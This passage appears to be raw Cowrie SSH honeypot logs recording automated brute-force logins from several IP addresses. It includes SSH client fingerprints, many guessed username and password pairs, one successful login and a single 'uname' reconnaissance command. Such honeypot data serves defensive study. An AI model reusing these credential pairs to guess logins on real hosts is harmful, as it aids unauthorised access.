rt-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:52.691544Z","src_ip":"45.156.87.253","session":"4ab913a08b9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:52.933838Z","src_ip":"45.156.87.253","session":"4ab913a08b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:54.016553Z","src_ip":"45.156.87.253","session":"4ab913a08b9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52850,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de4fba2573b","protocol":"ssh","message":"New connection: 45.156.87.253:52850 (10.17.0.5:22) [session: 3de4fba2573b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:55.945794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:55.953596Z","src_ip":"45.156.87.253","session":"3de4fba2573b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.033801Z","src_ip":"45.156.87.253","session":"3de4fba2573b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.274634Z","src_ip":"45.156.87.253","session":"3de4fba2573b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.476448Z","src_ip":"45.156.87.253","session":"3de4fba2573b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.479071Z","src_ip":"45.156.87.253","session":"3de4fba2573b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.563240Z","src_ip":"45.156.87.253","session":"3de4fba2573b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.566936Z","src_ip":"45.156.87.253","session":"3de4fba2573b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":51456,"dst_ip":"159.203.135.109","dst_port":22,"session":"98ecea4b0b0d","protocol":"ssh","message":"New connection: 199.192.25.149:51456 (159.203.135.109:22) [session: 98ecea4b0b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.796210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.799834Z","src_ip":"199.192.25.149","session":"98ecea4b0b0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:56.864926Z","src_ip":"199.192.25.149","session":"98ecea4b0b0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C3l0#M@st3r$P@ss","message":"login attempt [root/C3l0#M@st3r$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:57.065291Z","src_ip":"199.192.25.149","session":"98ecea4b0b0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:58.132125Z","src_ip":"199.192.25.149","session":"98ecea4b0b0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51318,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c455d41209","protocol":"ssh","message":"New connection: 45.156.87.253:51318 (10.17.0.5:22) [session: f2c455d41209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:59.249016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:59.252618Z","src_ip":"45.156.87.253","session":"f2c455d41209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:59.332680Z","src_ip":"45.156.87.253","session":"f2c455d41209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:59.573728Z","src_ip":"45.156.87.253","session":"f2c455d41209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:00.656380Z","src_ip":"45.156.87.253","session":"f2c455d41209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51334,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c094b084b3a","protocol":"ssh","message":"New connection: 45.156.87.253:51334 (10.17.0.5:22) [session: 4c094b084b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:02.699383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:02.703067Z","src_ip":"45.156.87.253","session":"4c094b084b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:02.783725Z","src_ip":"45.156.87.253","session":"4c094b084b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud-user","password":"password","message":"login attempt [cloud-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:03.028431Z","src_ip":"45.156.87.253","session":"4c094b084b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":60166,"dst_ip":"10.17.0.5","dst_port":22,"session":"690fb3460800","protocol":"ssh","message":"New connection: 185.243.11.39:60166 (10.17.0.5:22) [session: 690fb3460800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:03.994539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:04.002338Z","src_ip":"185.243.11.39","session":"690fb3460800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:04.097633Z","src_ip":"185.243.11.39","session":"690fb3460800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:04.111832Z","src_ip":"45.156.87.253","session":"4c094b084b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiev_ukraine","password":"kiev123","message":"login attempt [kiev_ukraine/kiev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:04.385314Z","src_ip":"185.243.11.39","session":"690fb3460800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:05.483011Z","src_ip":"185.243.11.39","session":"690fb3460800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51338,"dst_ip":"10.17.0.5","dst_port":22,"session":"d773adcaaf96","protocol":"ssh","message":"New connection: 45.156.87.253:51338 (10.17.0.5:22) [session: d773adcaaf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:06.094370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:06.098200Z","src_ip":"45.156.87.253","session":"d773adcaaf96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:06.178922Z","src_ip":"45.156.87.253","session":"d773adcaaf96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:06.422709Z","src_ip":"45.156.87.253","session":"d773adcaaf96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:07.588130Z","src_ip":"45.156.87.253","session":"d773adcaaf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39894,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba9cd9a418e9","protocol":"ssh","message":"New connection: 45.156.87.253:39894 (10.17.0.5:22) [session: ba9cd9a418e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:09.457108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:09.459955Z","src_ip":"45.156.87.253","session":"ba9cd9a418e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:09.543423Z","src_ip":"45.156.87.253","session":"ba9cd9a418e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:09.785304Z","src_ip":"45.156.87.253","session":"ba9cd9a418e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56682,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c4f06fda5ed","protocol":"ssh","message":"New connection: 103.27.238.114:56682 (10.17.0.5:22) [session: 9c4f06fda5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:10.459114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:10.462512Z","src_ip":"103.27.238.114","session":"9c4f06fda5ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 